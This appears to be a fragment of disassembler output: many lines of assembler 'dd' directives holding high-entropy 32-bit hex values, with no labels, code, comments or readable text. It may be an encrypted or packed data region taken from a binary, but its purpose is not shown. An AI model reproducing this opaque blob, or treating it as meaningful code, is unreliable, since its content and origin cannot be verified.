		dd 30A8447Ch, 0E74BF025h, 72EEC185h, 0B0D7FB8Ah, 8A2BA5F9h
		dd 2E9EDA7Fh, 812AE3E9h, 5B30D268h, 123D3275h, 75FCD9CEh
		dd 3F8718D9h, 19D51444h, 33313EDEh, 82B99347h, 773E5161h
		dd 273D617h, 0E40AEB96h, 0B832805Dh, 36C533Bh, 2E362D33h
		dd 0DAA87A50h, 0B0A4D43h, 705D029h, 128AE328h, 0E9894BFCh
		dd 9BC60A9h, 535A00D5h,	3D4EBDBBh, 58FA817Eh, 36553A12h
		dd 0A25BA300h, 4131F72Fh, 3F5DE5DDh, 0EFD7A1A9h, 4B7363C8h
		dd 0E045EC88h, 917BB66h, 4128E94Dh, 801034F5h, 12E179B0h
		dd 2232E961h, 6BE0E5CCh, 0FB265E84h, 8014201Ch,	0DEED2506h
		dd 0CD0189A9h, 0ABB73304h, 0AE81D6B8h, 0FD46A3D4h, 2938F2h
		dd 55767E33h, 9E6BABE9h, 0CE1B8945h, 0BBEA1110h, 6AA85C0Fh
		dd 69BAAB42h, 24E4C53Eh, 2A667B6Fh, 2ED9BC09h, 0C23D5A27h
		dd 7529B8C8h, 0F3B5DC94h, 9143ECDBh, 0EC517D40h, 2A4841BCh
		dd 0B8C42AA8h, 515309C2h, 5AE9E233h, 0ED8B07EAh, 0D4A55B45h
		dd 32DB595Ah, 0ACDD3B24h, 0D8A76148h, 0F4449F85h, 0F5C9C52Dh
		dd 506F1AA0h, 85B70E46h, 80BEE0Dh, 5D4DF55Ah, 0E9059F26h
		dd 0A34F8C86h, 30A6336Dh, 7A28FE62h, 8200D2C4h,	8144715Fh
		dd 4703AF7h, 95E97810h,	5DF2BEB3h, 4642E30Bh, 0DBC29F00h
		dd 2D1B041Fh, 972436E9h, 1512E5B0h, 305D7BD9h, 0C71794EDh
		dd 0C12F501Ah, 256EF841h, 0C42176FDh, 6059A5F1h, 619A1EE2h
		dd 0E96E5397h, 8D8384h,	3E3C158h, 5E7BF44Bh, 0B340EA9Eh
		dd 214A95C3h, 240C15Eh,	289DC1C9h, 45EE5B0Dh, 0BAB98C90h
		dd 0D0AFC937h, 85207958h, 68535B06h, 0E019130Eh, 81DC83EFh
		dd 0AF9B616Bh, 0D5508289h, 0A576FC3Ah, 58A72156h, 0AD2AB9D1h
		dd 7995F5D8h, 33268877h, 73C7BB01h, 0C29D6BF1h,	18978D0Fh
		dd 7257F40Ch, 0F301317Ch, 6D9B0824h, 60487AE9h,	6FF40BBEh
		dd 0BB540C93h, 0C1139F82h, 0F13E5878h, 960C5A14h, 0C59F5E9Ch
		dd 9AFFAD47h, 0A546DF67h, 847DE919h, 13DDE189h,	800FD42Ch
		dd 0AEEBDBC1h, 47DFC962h, 9C1A63Bh, 18DF3FEFh, 0BC41E528h
		dd 64A28906h, 27343946h, 43C560ACh, 0BD716304h,	90CD11D9h
		dd 0CEB0B82Bh, 8A215CB6h, 8BE87B56h, 6CDB1053h,	0B612072Ch
		dd 24DFED37h, 21AEEAE1h, 68D83102h, 0A2ABA55Eh,	59CFC917h
		dd 8A8BA7A4h, 0A160145Dh, 0AA05C5B4h, 0A3C88CB2h, 0DE8DA942h
		dd 66845241h, 35EDF089h, 0DE69CF7Ch, 0D0C87784h, 7EE111EAh
		dd 0D28A6EE6h, 83970B31h, 69624F7Eh, 57185501h,	5B95F921h
		dd 2C9E2493h, 9F2909C8h, 0CDAC7F5h, 681CEC53h, 0E6598D27h
		dd 6D2F01ADh, 0F74D2850h, 0ABD76FD5h, 39360FA0h, 7EF5889h
		dd 1ED79E27h, 0B33E6811h, 327602C0h, 15D35DFh, 26695F8Eh
		dd 49D92820h, 6E9F2297h, 67534239h, 850048A9h, 3BC35678h
		dd 0D28562B7h, 6F2F204Dh, 0B7ED8007h, 0C557E528h, 0FC12AB5Fh
		dd 3FF1CBCDh, 79BF6841h, 1318D2Fh, 3BFA1B84h, 0EE3C10F7h
		dd 615D1969h, 802C71B1h, 0A46CAA4Bh, 0E9E98183h, 2B493525h
		dd 0C1451291h, 28689F87h, 0A8189413h, 1E5B2DE0h, 8650950Ch
		dd 6620F141h, 330F09FBh, 807F0976h, 6F6EE63Bh, 0E6216087h
		dd 0E8705792h, 5E3DF7EEh
		dd 4DCF0247h, 5F4C4B17h, 2907BFD9h, 0D9EA89F9h,	0DDFE9F16h
		dd 5DF8DE4Ah, 0B8ADE5B5h, 5522AE5Eh, 9C7035h, 0B641E8BEh
		dd 373F684Fh, 6B627096h, 81827F26h, 987E38B5h, 57ABD767h
		dd 6612694Ch, 28460CD3h, 95208216h, 514CA26Eh, 0E6681255h
		dd 416CFBAh, 29A568ADh,	0E9EE0280h, 355C40D8h, 0B59E200h
		dd 2A8E2D33h, 0B7B7A79h, 39931680h, 9638BFC2h, 0FA9D89F1h
		dd 18FD3977h, 9B7ECDAh,	0D6F703h, 115E4054h, 0ED048106h
		dd 149521DFh, 575C08Dh,	364C63F9h, 967D1861h, 923EAB7h
		dd 31E4CCEEh, 0DC20E370h, 0B75E713Fh, 0E9E3E156h, 0CC52BD9Ah
		dd 0CD9E95FCh, 2E52BC0Dh, 0EA563798h, 47182FBEh, 0E74263A7h
		dd 0FBB6BD4Eh, 9206C232h, 27A57EB2h, 2F288E53h,	0ED0956D3h
		dd 0E0675EE7h, 3E9D3302h, 8083AB4h, 0C80F01CAh,	38664168h
		dd 4B33CD88h, 0D102728Ah, 9B6C0AC7h, 63C68283h,	0B58BC578h
		dd 820FF5Ch, 0E95BE1C1h, 5DC23C4Bh, 0D2AD59D9h,	54CFFE0Fh
		dd 95898B53h, 3B3374C1h, 570E5BE3h, 91122068h, 3F47B081h
		dd 301047E6h, 0EF8101C1h, 4D257D78h, 4B9E53Eh, 0C51BF208h
		dd 8DEACA15h, 681E24B2h, 230D3D31h, 0A8022F6h, 7BBC2DADh
		dd 54A6A0Eh, 51595797h,	0E9D80264h, 98CAF28Fh, 274DE4D7h
		dd 1A5F8094h, 5FC10995h, 0E941967Bh, 0E3AD57ABh, 0D1F79F02h
		dd 57E40977h, 0C6A46830h, 0E89A20B5h, 0EC381550h, 63D89F5Fh
		dd 0A687F14Bh, 0EB80D300h, 626597A8h, 0C4A46496h, 2CD6B7E3h
		dd 1D5ED3E9h, 0F01957EBh, 630CC3BEh, 0C642203h,	0AA58174Ch
		dd 2850BA66h, 14506808h, 84A07F49h, 0B254E955h,	0D64DB192h
		dd 32A85EF2h, 0F7305A39h, 5C651015h, 242D3600h,	577250Ah
		dd 9B53162Eh, 4C1C450h,	9584E907h, 0BF171724h, 726ECCh
		dd 4921615Eh, 231BC981h, 0C410B30h, 0A560F71h, 30696865h
		dd 6A20BC89h, 0FC8E149Dh, 350A498Ah, 16D6E340h,	8045966Ch
		dd 8C162D73h, 0BCFC2BE5h, 900A2C2Ah, 541782FEh,	7D884293h
		dd 0C29993D7h, 8F09D5F5h, 0C167D95Dh, 3ADD90E9h, 0EBC4C4EDh
		dd 0F475BB02h, 5D5E1582h, 0C1F79D9Ah, 0F63C587Eh, 1267BA01h
		dd 3A4A772Ah, 4D06B760h, 0E9480BEFh, 0A6AF95B9h, 3B187C1Dh
		dd 0C3EB7FC8h, 0E66B1F16h, 77E27009h, 6859A8B8h, 5AA3A949h
		dd 0C4977FB3h, 0BB5FC6Fh, 801EE580h, 0EA08B008h, 9CAF259h
		dd 0D014E973h, 0B4B26CDFh, 0B3E9420Ah, 12BB8B7Eh, 1BF3C474h
		dd 2EC64270h, 203EEDDAh, 0D0E4B585h, 7F822A7Ch,	6AF3A700h
		dd 0A5E5443h, 381701E9h, 0BA5BC8F7h, 0EA3B1309h, 0AFE4F156h
		dd 0CA801E56h, 7D127E09h, 5D62FE9h, 1E885371h, 0CF4D2668h
		dd 3F03D1C7h, 0C8CB21E5h, 2012BD11h, 97EB1840h,	335E7BE3h
		dd 41E6D927h, 241A8B68h, 0A7B5DF0Dh, 6CB0CF8Fh,	9F4729C0h
		dd 5EE6B8D2h, 9B877E16h, 0E90951ACh, 47468D7Fh,	29BC1FF2h
		dd 27EA7C25h, 25DC14F5h, 69188B74h, 0C39CA3B5h,	292AB242h
		dd 0B5C591F4h, 4ECCFDF1h, 30443068h, 572CB75Ch,	0FA89C402h
		dd 751422E9h, 8A2021E7h, 9D2DD40Bh, 7A0C870Bh, 0FA7FBBC3h
		dd 0F2657FEFh, 5596F7A7h, 6151EC30h, 2E7C67EBh,	2F304BF6h
		dd 0BE812FF1h, 4149632Eh, 0F7C7480h, 0D404E71h,	0D77E7B00h
		dd 21892D27h, 0E03E5C67h, 867507D3h, 0C7F66028h, 412E033h
		dd 478CF329h, 0BCB89C5Dh, 0A890B6F6h, 0A1333149h, 0E089C799h
		dd 5075043Fh, 0C678F877h, 0C91EF94Bh, 0FEDAB083h, 7E888C0h
		dd 0CD21E34h, 0C27034C5h, 0DC0BAD3Dh, 74A800DEh, 0CD010293h
		dd 5D4F594Bh, 23D053A2h, 60520B42h, 0E23EA70h, 0E925261Ch
		dd 51455D6Eh, 167D3308h, 7504AB5Dh, 0BD039227h,	25C85E96h
		dd 65CE5C1h, 47564E80h,	38206510h, 7B6C0E4h, 0AFB5514Eh
		dd 0C2C96452h, 1CD7A928h, 6093FC2Ch, 16F54D84h,	1D04774Dh
		dd 26126845h, 760E42A3h, 0AE32FF86h, 0E07FAF39h, 27600717h
		dd 1B31F14Dh, 41041F39h, 0F4876883h, 9F381277h,	0B8EB1246h
		dd 0DFBE8429h, 7C2C6D14h, 236885ECh, 54D5C859h,	0B66DBEF3h
		dd 0F8F61E53h, 5335FD5Bh, 2D5326ACh, 37EDCC74h,	94F95B30h
		dd 0ABA0134h, 303D5B1Fh, 6C00B025h, 0BE5654C8h,	1634794Fh
		dd 8083E914h, 206568D9h, 5E67A817h, 0E3C05AEFh,	26320B50h
		dd 5FC7F182h, 3C58D4C9h, 0C15D8433h, 25E31F1Ch,	0F0CE0FDDh
		dd 19A33410h, 0ED4ACD29h, 67401A25h, 5ACE6320h,	141C8462h
		dd 0F4863007h, 0C35C772Ch, 0F1588914h, 0F975FAD6h, 375480CCh
		dd 0F30175AFh, 880DE90h, 859735E9h, 0F6B25868h,	0FE015293h
		dd 6809CBCAh, 9BC6145Dh, 0F51BF709h, 0F334064Bh, 16E9150Dh
		dd 542F133Dh, 3366E771h, 0A1E9131Ch, 35DDF9C8h,	1E170640h
		dd 0C7808480h, 0EAD7E02Fh, 37F4EBEFh, 62B29110h, 87F65331h
		dd 85871963h, 1A138EFFh, 8171CD98h, 57505F81h, 400B7320h
		dd 56A45920h, 0AD8B7C97h, 95CF1C5Fh, 3F082CDEh,	971B287Bh
		dd 109054F2h, 80730300h, 24D255Eh, 56F1E08h, 0A9C98B9h
		dd 0D72531DDh, 921F669h, 0EF80194Bh, 25ED6C48h,	50D0C898h
		dd 1E583008h, 4DA24457h, 1393921Eh, 2B9AC94Ch, 0ACE99E4Fh
		dd 3CE297C6h, 3524510Eh, 45F092D4h, 0F4A489CFh,	0BE136E58h
		dd 0F908077Fh, 0FB801EC3h, 0FC4BAA5Ah, 0E0F8214Ah, 0D9413548h
		dd 0A0D74F87h, 9FBB1C17h, 685BE200h, 44B152F8h,	8DE90CBBh
		dd 72311294h, 8FE6BF7h,	630C8D7Ch, 9EAA7B1h, 1FC1BE3h
		dd 0AC4F8064h, 0DEC2DBD0h, 21491475h, 7E33D957h, 3FA1F537h
		dd 3B52F5F7h, 264CEC90h, 0A06A4F50h, 6994359Ch,	36BC2EC1h
		dd 7B92F12Fh, 5EEF9409h, 0EA591224h, 0ED885F2Ch, 66F080F3h
		dd 12B17651h, 3762C4E9h, 0B65B82C3h, 0BFC278DEh, 3BE55FCFh
		dd 9A8E5E0Bh, 0B35C5504h, 8821B456h, 54A74B4Ch,	0D2694FB7h
		dd 0E8E95640h, 0F7CF0BB5h, 9679B33Eh, 0B7692B5h, 5AF661B2h
		dd 6F1ADD7Fh, 0A0C4AAE8h, 20938995h, 7B4A6B70h,	41646DE0h
		dd 65D26075h, 0E7447005h, 0E0E8CA31h, 6B5AD3B1h, 0B0BA20C4h
		dd 3C08EEF8h, 6C0B6303h, 0E6316881h, 3EC6DF31h,	0E0E19150h
		dd 1499182Ch, 31ED8A41h, 0A77F4F3Ah, 0AAA0752Dh, 53BB20Bh
		dd 5E4AF2FCh, 3D7B35A1h, 5C55DA00h, 0FDDB506Eh,	296FE2B6h
		dd 52FFA0FAh, 4832F9BAh, 0CA03A9A8h, 422F20FEh,	0EBA5FE8Ch
		dd 0A6B26847h, 0DFC07558h, 0C093BD6h, 84D3293Fh, 0F6091C7Dh
		dd 792A49D7h, 79F0A904h, 37CE8C28h, 0CB48D909h,	90FBF8C4h
		dd 797C9553h, 0E2010A26h, 105A139h, 81C41F3h, 4D254C61h
		dd 16CFE77Ah, 0B7E4A7DCh, 3A3712ABh, 2C1A0069h,	896FFD0Ah
		dd 315BDD13h, 0F3D700BFh, 0BD8AE193h, 5997C490h, 0B8940D5Fh
		dd 44ED3E5Eh, 580E30Eh,	90A60057h, 2960311Eh, 4D4D151h
		dd 0C596AD08h, 0BAF43CECh, 5DAE0CEAh, 20C7B5Ch,	6B731300h
		dd 0CF68DA01h, 8130976Dh, 0AA012B96h, 18942D04h, 82E9937h
		dd 0C2940186h, 0E7E91227h, 0C8FFC1C4h, 671FBBE0h, 0B7936696h
		dd 0AB8BDE0h, 0F7B3322h, 29570286h, 0CD724C5Ch,	10E90880h
		dd 597D0B9Dh, 7CB342B6h, 76FA090Eh, 61F2CB98h, 0C023E2B5h
		dd 42E3D4Fh, 0F30972DDh, 71AA85Eh, 792339CBh, 0E9535580h
		dd 688EA895h, 7F2B5464h, 0E7D38BBh, 12CF2328h, 0FB844DD7h
		dd 0BC5AFF01h, 873AEA7Bh, 0D85899F3h, 2D07BE00h, 0F681163Fh
		dd 10DC503h, 3A4FA9F2h,	0FA782FE9h, 61FB071Ah, 0C2C16CEFh
		dd 0CEC39106h, 58BD5598h
		dd 1C09321Fh, 3BB10A13h, 2638C9E8h, 2C70E69h, 3FDA7DDFh
		dd 1DAC6043h, 5B77AF4Ch, 15300FC2h, 2A6BB713h, 0CDD808E3h
		dd 23047F8Eh, 362E6870h, 0F85EF992h, 5B5A28A2h,	1E0D1298h
		dd 0CE8D0401h, 10AA12DEh, 5B13CF42h, 0EF011F3Eh, 0E1B8B200h
		dd 6A4A8C2Dh, 73F7F3F0h, 5B7B02D8h, 9EE92938h, 4560B9F0h
		dd 2D0AFEB4h, 40DDF865h, 0C5B75CF1h, 0BF57007Dh, 630F2A0Eh
		dd 0BAB1FEF2h, 0CE95604h, 0CAF12FF1h, 5084AD2Fh, 0B7AFE7Bh
		dd 1894E48h, 54F65CB1h,	1A04D901h, 14051C08h, 0A6E3AA5Bh
		dd 15E9F687h, 0C7D3FED9h, 86D5C858h, 3AC072EAh,	0DDB88008h
		dd 0BF9BD335h, 1025190Dh, 605EAA2Ah, 5EB9494Bh,	15ED8FBEh
		dd 0C5023807h, 4E71ECD1h, 8D272AB7h, 37E80F89h,	22703A8h
		dd 0C526543Bh, 2FCEE8EDh, 4F30D55Bh, 16C2DE31h,	7561E9F0h
		dd 41D21B22h, 0C6C1AE9Bh, 23302E6Bh, 4B326211h,	65EE957h
		dd 6ED2409Fh, 79E70611h, 0E4737A5Fh, 147B6C25h,	780A250Dh
		dd 0D325FDECh, 2833F309h, 78B72D27h, 747B185Dh,	6A5A81AAh
		dd 680C6E8Bh, 44657CA1h, 0A3AC734Ah, 1E3FA0D2h,	2BD1A94Ah
		dd 56249D6Ah, 599BFAF5h, 0C35AA2BEh, 9AD142C1h,	41446A2Bh
		dd 5B09B962h, 467F85Dh,	682350F3h, 0ED42C06Bh, 0B216F66Dh
		dd 5BE6D931h, 0A9051812h, 8BA8D212h, 75411A1h, 0B456C43Eh
		dd 4009114h, 149E335h, 0A2983189h, 0AD4161B0h, 4E32906Eh
		dd 7F4F1978h, 6B38FEB4h, 3C58CD27h, 0BF10A49Dh,	5482E9B8h
		dd 7608276h, 0F680C42Bh, 5F5590DAh, 133EE8B0h, 4AE408BBh
		dd 0B1671EAAh, 0B0B5CC0Dh, 4DFD42Fh, 8034B2C3h,	0EAD0E9C2h
		dd 0C917F2D4h, 0E5F5A42h, 68CF1843h, 6D1E161Dh,	8BE10B67h
		dd 0A727EE4Eh, 9F4514Ah, 0C4FC5268h, 36D05464h,	1FB41FCh
		dd 0B1E68143h, 824F0906h, 36232ED0h, 9D03DD1Fh,	1AA8BB53h
		dd 739070CFh, 0C067E925h, 550D0Ch, 553C257h, 1DFEE82Ch
		dd 4500199Eh, 0C7294D03h, 0B1924BE9h, 61E83BFEh, 4DA268B0h
		dd 1762D99Ch, 0E3B8D70Dh, 215E8468h, 6B0423E3h,	0F264306Fh
		dd 55218BF2h, 8CBC4682h, 6A71475h, 6DFB3815h, 0F305F85Bh
		dd 39DB76CFh, 0BA1284FEh, 0E9895B1Fh, 815774FDh, 756D19EEh
		dd 2B365D34h, 0E9DB70EFh, 189FCA83h, 656B8C4h, 0B90D863Bh
		dd 294E0B5Ah, 3A6BFDB5h, 0AD914F1Ch, 208B7D75h,	1AD54C01h
		dd 550C0950h, 66E99979h, 40E91385h, 1644F3B7h, 0A5A9A372h
		dd 7A109094h, 685E0547h, 0CF984AD0h, 1634E0C6h,	0A1EB874Dh
		dd 0E75EDE16h, 1ED8007h, 0C00AF532h, 0E651EACFh, 39CFEAD1h
		dd 0DB585A59h, 0A9E2844Fh, 5522A2B2h, 72654A89h, 43E86A96h
		dd 948084A5h, 1AA9AA5Ah, 273E410h, 0AAEA62Dh, 0D1FD42DCh
		dd 36094902h, 903BA87h,	427BFB57h, 925C3FE9h, 35E75816h
		dd 0E712BA4Ah, 0A20C1E21h, 2F39164h, 0C14F8E59h, 30DDDF01h
		dd 0A1F821C2h, 3F3C0F2Eh, 0F3885904h, 289EC05Ah, 66E82CD8h
		dd 65A6B6B9h, 4BB89C0Bh, 5B1EA881h, 0C7454C10h,	0D4A11915h
		dd 0B5010881h, 0F0C03B31h, 2E846Ch, 6AB12DD0h, 64E91792h
		dd 0DF329869h, 859520E9h, 0D030F606h, 680142FAh, 0C1A35A60h
		dd 0DC1DA04Fh, 7C95250h, 0F1B45D17h, 7D36409Fh,	4E2F4CF6h
		dd 0E3C04B20h, 0E3CB8058h, 5BDAA953h, 490E0E3h,	0E9FAC36Ah
		dd 472720CCh, 0BD68D6C3h, 0AEA91495h, 2EBCF602h, 48F73B28h
		dd 0C0B91D1Dh, 4674EB1Dh, 12E3223h, 661362FBh, 6DFA0B56h
		dd 93C67D3Ah, 157F2304h, 0F1055E07h, 31DBB5A0h,	32FAF716h
		dd 817BA257h, 30EA57C5h, 0EBF571C0h, 7C5D3702h,	662BA4E9h
		dd 68503F60h, 57356C9Ch, 48DC0B58h, 0E913E08Ch,	1271B227h
		dd 0B12A418Fh, 1309F36Ah, 61AFB42Eh, 1EAB34h, 7A0E2668h
		dd 4159005Bh, 0F03F181h, 890920DDh, 56C2E9CEh, 0CB95255Fh
		dd 228AA2A5h, 0DC8802BCh, 0C1F4D082h, 0D166A3D7h, 0E379131Ah
		dd 0DE8CB83Ch, 79421042h, 27884432h, 0A1F1A927h, 7BC05E8Dh
		dd 511E1082h, 0CE456271h, 0D7F2529Ah, 6B9AE18Dh, 0F0A156B8h
		dd 0B1C40471h, 0B2FE97BAh, 94B249A6h, 2DD93EDDh, 3857D809h
		dd 99462531h, 0D0214337h, 575A5712h, 479F608h, 0A10FE280h
		dd 8FFC3A56h, 0E9CE1ECFh, 59CA2082h, 8D47E0DFh,	0F4C89F28h
		dd 550BCCB6h, 0EE648068h, 0EFE92D76h, 0DFEE9FA0h, 6600CE1Eh
		dd 0BD55FE01h, 5E3A6B4Fh, 43B4144Ch, 334B1F09h,	5DEE5181h
		dd 6DEE405Fh, 220B51A9h, 0EA9ED8E9h, 0AB8000E5h, 5A256E44h
		dd 982ABC5Eh, 480C3959h, 0D4046560h, 0AE16B33Ah, 25382EC7h
		dd 130CB55Ch, 27094EFBh, 0B5511C5Fh, 0BD52B40Ch, 6671CF6Ah
		dd 0CBB35323h, 814C08D1h, 723EBF1Eh, 807A9D1Bh,	6657D07h
		dd 5C321095h, 683EE217h, 2708AD29h, 0B7025CFBh,	0F5694729h
		dd 55020BF1h, 9430A9E9h, 201498F3h, 660E93F3h, 9A258268h
		dd 2A6FF64Bh, 0EA011377h, 0A58CBC5Dh, 70B7A0D1h, 76E2B800h
		dd 8180B54Bh, 4A9C7CB2h, 0BBB507h, 0C21AE908h, 44B46BFh
		dd 5529D6BDh, 0B179BB48h, 94C2AF20h, 5E88098h, 19DD76D7h
		dd 0E727FC90h, 55CA68CEh, 1CCA2210h, 0B17F9305h, 0FF004E4Ah
		dd 2DE76F42h, 5E5B1756h, 89D8FE01h, 538D2F68h, 39274CE6h
		dd 0A03D7147h, 5DB505ECh, 0EC5F3752h, 0AE800D1h, 63BE6E65h
		dd 0A0F30460h, 0D30CD4E9h, 0F5D34609h, 9555A612h, 929EB8BDh
		dd 4AEFB887h, 0AE968AB9h, 0A9074022h, 4E37F2B0h, 0C88F88C5h
		dd 9D4F12F0h, 0C4F292D7h, 776A4A9Bh, 0E984874Fh, 0A8ADEBBAh
		dd 13790204h, 790DEC18h, 3D704DFEh, 7237F4B5h, 0E9E1CF5Ch
		dd 0C9901557h, 7D8A731Ch, 0A2221452h, 683EC56Fh, 3B8CA1D7h
		dd 7E980FADh, 2CC776D6h, 0EA74DCF6h, 0AE4FF1FCh, 0D86F937Dh
		dd 4EB45EBh, 0CF6AB1AEh, 9A63606h, 0BF8752Dh, 78C05CCDh
		dd 5C5EF4A9h, 7BD15F52h, 795645Ah, 0F868E1F7h, 46F50B7Ch
		dd 802E4BE9h, 0D698B9AAh, 8AD21934h, 91F8D4EFh,	2A9FB21h
		dd 6E54555Fh, 9EC2DBAEh, 8880F91Ah, 0BE0107D5h,	10565787h
		dd 0CB6923E8h, 4F735814h, 6D812DA4h, 0BE94CC7h,	83421C25h
		dd 88558D8h, 582D18FEh,	494D5302h, 0BC337478h, 0C866D985h
		dd 0E4E6B51Bh, 8F2419D3h, 0FE07B401h, 0BC0C0C10h, 418524E9h
		dd 0C6F1A753h, 54588720h, 66C1D217h, 800486EEh,	0C954DA73h
		dd 82014822h, 54860908h, 0A4897162h, 0D40B720Eh, 17C2C572h
		dd 4B84ECE3h, 0BAC567F2h, 0EB815677h, 0E90B759Ah, 79C82A58h
		dd 5F2F3EE7h, 0BA245C6Dh, 833AA905h, 629DC06Ah,	2EF7C7F1h
		dd 707101D2h, 286816ABh, 3969AA17h, 5A135A82h, 0D7611FA6h
		dd 0C3277FE8h, 7407EC82h, 0AC0C6578h, 65B98102h, 9A20941Fh
		dd 0C6AE9F5Ch, 0A3C469C5h, 0C5FE0E1Dh, 30E54180h, 0B03F59EAh
		dd 0B2725237h, 3E45E5F9h, 0DFE8D1F0h, 0FCE98606h, 54679DA8h
		dd 8B5F5375h, 8041A1CDh, 0EB2B9CEBh, 0F725E82Fh, 1160625Eh
		dd 9A52A24Ah, 0F6D82A5Bh, 0E3882D0Fh, 40EF4554h, 685859EBh
		dd 30134FC7h, 0C0AAB1C3h, 8002E100h, 0CA884CC1h, 0D2CF25E9h
		dd 7F022B5Fh, 65FAA581h, 4DF03A12h, 0CF1A3A5Ah,	5E0456D8h
		dd 0BBD6ACE5h, 35B03AACh, 0B9014A10h, 363E2D27h, 0AF2B125Bh
		dd 13733000h, 90539A0h,	15777502h, 2FFC9DC2h, 4471A928h
		dd 17C0084Ah, 48853C07h, 0E90B6F27h, 92575963h,	21E00229h
		dd 586EE475h, 89382F01h, 0F99F3BEh, 60AD1A96h, 7318D462h
		dd 7F2831EAh, 11E93960h
		dd 5668E817h, 0DA904C9h, 0E50513A9h, 71A1A164h,	0AAF8E2C1h
		dd 0D65CBDB1h, 9DEA6EE9h, 5197C450h, 4115E80Ah,	2C7A5A68h
		dd 13EBC1B5h, 502040D0h, 9B0F1645h, 0F7728119h,	778C40DBh
		dd 39F2D5Bh, 0D279DF7Dh, 98A14043h, 27AF3B08h, 6328C902h
		dd 0D75E67C0h, 24A9C3Dh, 19B15FA5h, 77A731E9h, 0B9B94B57h
		dd 3BEE14F1h, 9A36996Ch, 0DBF62EE2h, 27A8088Fh,	0A0B8C226h
		dd 0F582A1B1h, 16B09D20h, 9C308CAh, 2A768756h, 2CDCFFBAh
		dd 9D4E5765h, 0C08C5F4Bh, 49862968h, 0BBE989A2h, 0DC9DF150h
		dd 145F7A09h, 2CF780EFh, 0F288817Ch, 88A2E542h,	5F048DF8h
		dd 3A79D3E4h, 2DCED96Fh, 0AC064054h, 744EB209h,	899247EEh
		dd 3E6A72DEh, 0A5F39B68h, 0A04B8EFEh, 0E31558E4h, 0EA90287Eh
		dd 0FE05A80Bh, 0B1425765h, 7F7C080Dh, 292EEC8Bh, 2DE961CCh
		dd 0ACB23B42h, 6CAF0992h, 3587D248h, 0BF754C01h, 0DCAACE0Fh
		dd 7A214430h, 81025A7Eh, 0B7E7E0h, 0A80D7F6h, 0FE208CC7h
		dd 672D3AF7h, 52B7C1E4h, 7F4628EEh, 4C201E61h, 0CA2948ABh
		dd 799F0820h, 77DE62C9h, 146AEF23h, 0EF62ED15h,	415D05DEh
		dd 89BF38E6h, 6801C7B0h, 3F6F4402h, 7CFAE95Dh, 0BBB60E43h
		dd 0BCCD2FE5h, 6AC1116Eh, 31C8BF4Ah, 0EEC044BFh, 0DB497A05h
		dd 0DE062901h, 5F918260h, 24FAB36Ch, 0F002C455h, 406AA303h
		dd 0A9483423h, 76E45258h, 17F1958Ah, 2EE57FE9h,	7F072004h
		dd 0BD416CC1h, 0BA8DBF92h, 9AF0F3B5h, 0CE64956Ah, 5A154793h
		dd 15ED44C2h, 131EC82Ch, 0CBE89713h, 1C29584h, 7DB96852h
		dd 6B30844Dh, 0E2801C35h, 0B5F2CB55h, 66E506DDh, 0AEBB01FFh
		dd 0F7468F06h, 0A7F442D3h, 0B77CF2DDh, 0BFEC8FD2h, 14DE6C1Dh
		dd 1E1AE280h, 16420FF5h, 8C1575E9h, 8C6B3185h, 75CB2BC9h
		dd 9BE16E0h, 0A9F5D1Eh,	5D1CF089h, 4FF86094h, 1B42297h
		dd 1D0BC1D6h, 2F585F01h, 0E9A082F9h, 9495BB65h,	895BB5F7h
		dd 5A2FAAA4h, 7C58BF6Dh, 5C88626h, 42AF3197h, 851684Bh
		dd 0C5C1A19Bh, 0B1B22B42h, 0A74A9DE4h, 0A7CCE7C6h, 8EA42730h
		dd 6CB1E0ABh, 974D2CADh, 4D1A8EA3h, 944926C7h, 0B484E4FBh
		dd 221532B7h, 0FD9FB1BBh, 6A57DC12h, 0D1433B80h, 0C673523Ch
		dd 0BC259B52h, 17F0B4AEh, 56D07D5Eh, 18DA3F09h,	0B49BF1Eh
		dd 0CC698CE9h, 0C9EF7630h, 92844C5Fh, 3A5509A6h, 30651B1Fh
		dd 1AA56805h, 2CC927F8h, 0FC8438C2h, 6E99B119h,	0F1AE0934h
		dd 57713445h, 1668C597h, 740867EBh, 97B916EEh, 0E609EA4Bh
		dd 6B06F95Fh, 0CB0B8D71h, 284ED568h, 5B46AF38h,	0B0465BCDh
		dd 0CEA0529h, 0BB550147h, 8016594h, 0A213E958h,	0DFE2926Ah
		dd 26793860h, 247A823Fh, 0BE873F16h, 80B9135Bh,	0EF2CF62Fh
		dd 9E4F5C5Fh, 0E986914Eh, 0C18D7BE6h, 80888720h, 569FC189h
		dd 11054971h, 15F2FBD3h, 17E540CFh, 0A4FFFC85h,	0DDE9A860h
		dd 55C2E1A5h, 57D29754h, 3C35ECE7h, 98E63FB4h, 39EC2152h
		dd 1DB8B981h, 6C3137F9h, 98D2133Ah, 55905501h, 0D08B6F62h
		dd 0AF6F5958h, 6B541E62h, 4BE90E3Ah, 7F2D1CAAh,	0F71C73B8h
		dd 8F1EE8BFh, 401FB6D9h, 2E5C15Ch, 3C6C7F96h, 367C005Eh
		dd 60F5817Bh, 184B9E07h, 0E9954FABh, 5DE14013h,	0D261EE2Dh
		dd 0F801760Ah, 0E90B0705h, 7D57C218h, 7E059A30h, 52836618h
		dd 5F6ED668h, 8FCB0F5h,	0D64124B3h, 8230DA03h, 2F0BD4D2h
		dd 96F5582Dh, 2DED2967h, 0CEBAB9C3h, 0B0DDF0A5h, 90E0D345h
		dd 55C04025h, 194DDBECh, 4E30390Fh, 0E9C5FBA2h,	0F912FB2Eh
		dd 0D745DAB3h, 0F18C1C9Ah, 0E9622251h, 0F1176AAEh, 9A36AA6h
		dd 4D2BBAEDh, 911C037Dh, 0AC30246Bh, 7E6D60F4h,	475C66D8h
		dd 0F6A366Eh, 88864ABCh, 0EB256859h, 96EBF118h,	5E46AC25h
		dd 81696CABh, 35A5C60Eh, 0C6ABD2AAh, 4660086Eh,	0D94FA31Ah
		dd 27CC9077h, 6C0272Fh,	0C08274EAh, 0B2F533FEh,	0E27C64A3h
		dd 16388256h, 3109CEFAh, 9582823h, 727E3Ah, 47D577DFh
		dd 0CA2DE94Dh, 20B4CC9Bh, 0A9D7BFAh, 0EB01D3B2h, 0FAD9B35h
		dd 0BDC2B02Ah, 13094440h, 1435AD3h, 4C80BD5h, 3E143EC1h
		dd 9BA94B33h, 7A762D2Fh, 0E9E809BFh, 7389437Ah,	6150527h
		dd 0D1906843h, 7FF1E9AAh, 811216FDh, 10CFB309h,	680A6120h
		dd 69B7226Ah, 543DB902h, 4BD9275h, 0FF1E5683h, 34C2C527h
		dd 0E6C7EF41h, 5276DC9Ah, 3D020CD9h, 897F524Ah,	4F2EDF78h
